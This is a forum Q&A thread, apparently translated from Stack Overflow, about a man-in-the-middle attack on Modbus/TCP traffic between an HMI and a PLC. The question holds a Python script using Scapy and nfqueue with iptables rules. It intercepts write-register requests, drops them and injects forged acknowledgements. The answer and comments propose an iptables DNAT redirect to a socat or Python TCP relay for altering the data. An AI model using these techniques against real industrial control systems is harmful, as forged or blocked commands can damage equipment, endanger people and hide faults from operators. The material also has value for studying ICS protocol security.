【问题标题】:MODBUS: creating a fake response to write requestMODBUS:创建一个虚假的写请求响应
【发布时间】:2018-05-18 03:35:21
【问题描述】:

我试图用某种 MITM 攻击来欺骗我的 HMI(客户端)。但看起来我不明白一些基本的东西。这是 HMI 端的代码和 Wireshark 屏幕截图。问题是:

  1. 我正在丢弃来自 HMI 的原始 WRITE 请求数据包
  2. 我正在制作虚假的 RESPONSE 数据包并将其发送到 HMI
  3. 之后 HMI 尝试发送新的 REQUEST 但 PLC(服务器)突然没有响应 :(

#!/usr/bin/python2
import nfqueue
from scapy.all import *
load_contrib('modbus')
import os
import time

# MITM rule initialization:
iptable_rule1 = "iptables -A FORWARD -j NFQUEUE"
#iptable_rule2 = "iptables -A OUTPUT -j ACCEPT"
os.system(iptable_rule1)
os.system("sysctl net.ipv4.ip_forward=1")

def callback(payload):
    global ON
    data = payload.get_data()
    pkt = IP(data)
    #Checking if WRITE request is in payload
    if ModbusPDU06WriteSingleRegisterRequest in pkt and ModbusADURequest in pkt:
        print "[*] WRITE request packet detected..."
        # Begin of crafting fake RESPONSE packet
        fake_response = IP()/TCP()/ModbusADUResponse()/ModbusPDU06WriteSingleRegisterResponse()
        fake_response[ModbusADUResponse].transId = pkt[ModbusADURequest].transId
        fake_response[ModbusADUResponse].len = pkt[ModbusADURequest].len
        fake_response[ModbusADUResponse].unitId = pkt[ModbusADURequest].unitId
        fake_response[ModbusPDU06WriteSingleRegisterResponse].funcCode = pkt[ModbusPDU06WriteSingleRegisterRequest].funcCode
        fake_response[ModbusPDU06WriteSingleRegisterResponse].registerAddr = pkt[ModbusPDU06WriteSingleRegisterRequest].registerAddr
        fake_response[ModbusPDU06WriteSingleRegisterResponse].registerValue = pkt[ModbusPDU06WriteSingleRegisterRequest].registerValue
        fake_response[IP].src = pkt[IP].dst
        fake_response[IP].dst = pkt[IP].src
        fake_response[TCP].sport = pkt[TCP].dport
        fake_response[TCP].dport = pkt[TCP].sport
        fake_response[TCP].seq = pkt[TCP].ack
        fake_response[TCP].ack = pkt[TCP].seq + len(pkt[TCP].payload)
        fake_response[IP].ttl = 2 #Just for red color in Wireshark
        fake_response[TCP].flags = 'PA'
        #del fake_response[IP].chksum
        #del fake_response[TCP].chksum
        # End of crafting fake RESPONSE packet
        time.sleep(0.1)
        #Injection of FAKE response to the network
        payload.set_verdict_modified (nfqueue.NF_ACCEPT, str(fake_response), len(fake_response))
    #All other packets have to be accepted
    else:
        print "[*] Non request packet accepted..."
        payload.set_verdict(nfqueue.NF_ACCEPT)

def main():
    q = nfqueue.queue()
    q.open()
    q.bind(socket.AF_INET)
    q.set_callback(callback)
    q.create_queue(0)
    try:
        q.try_run()
    except KeyboardInterrupt:
        q.unbind(socket.AF_INET)
        q.close()
        print("Flushing iptables.")
        os.system('iptables -F')
        os.system('iptables -X')

main()

Wireshark screenshot

感谢大家的帮助!

【问题讨论】:

    标签: python scapy modbus-tcp


    【解决方案1】:

    如果您想篡改 TCP 连接中的数据,使用 iptablesDNAT 连接到充当代理的本地服务器可能更容易。

    代理是指 TCP 中继:作为简单客户端转发数据的 TCP 服务器。一旦这工作,您可以在转发数据时对其进行修改。

    这样,您的操作系统将处理 TCP 序列号和确认号、校验和等。当您在不更改内容长度的情况下更改内容或数据包不是 TCP 连接时(例如、UDP 或 ICMP 消息)。

    【讨论】:

    • 皮埃尔,你好!再次谢谢你!我实验的想法是让master认为它的请求被接受了,所以我试图建立一个正确的响应消息,正如我在wireshark中看到的那样,它就像一个真正的modbus响应。 Seq 和 Ack 数字很好,也被解析为 modbus 响应,master 在收到我的假 modbus 响应后发送 AKC 数据包,所以一切都应该没问题,但不幸的是,master 发送所有下一个请求后不知道在哪里,之后几次尝试我得到 Modbus 超时错误:(
    • 关于您使用代理的建议,我不确定我是否了解如何创建本地 modbus 代理服务器 :( 我尝试这样做,但克隆真正的 PLC 需要很长时间。跨度>
    • 谢谢你,@皮埃尔!我会尝试这种解决方案!如果可能的话,你能帮我解释一下它是如何工作的吗?现在我在中间有 arpspoof,然后我必须在中间放一个类似socat TCP-LISTEN:502,fork TCP: SLAVE:502 的东西来创建一个 TCP 中继并激活iptables -t nat -A PREROUTING -p tcp -j DNAT --to-destination MITM:502 之后我应该有可能将我的 MITM 计算机的 OUTPUT 数据更改为奴隶。对吗?
    • 使用 socat 是一个很酷的选择,但我不知道在这种情况下如何更改传输的数据。我会用 Python 编写一个服务器/客户端(然后您将能够使用 Scapy 的 Modbus 解析器)并更改其中的数据。
    • 谢谢皮埃尔!我尝试了使用 socat 的选项。同样的结果,我可以丢弃 modbus 请求数据包,我正在发送虚假响应,获得 ACK,但之后序列号的顺序崩溃,从设备发送 RST 数据包:(
    猜你喜欢
    • 2014-05-17
    • 1970-01-01
    • 1970-01-01
    • 1970-01-01
    • 1970-01-01
    • 1970-01-01
    • 1970-01-01
    • 2022-01-13
    • 1970-01-01
    相关资源
    最近更新 更多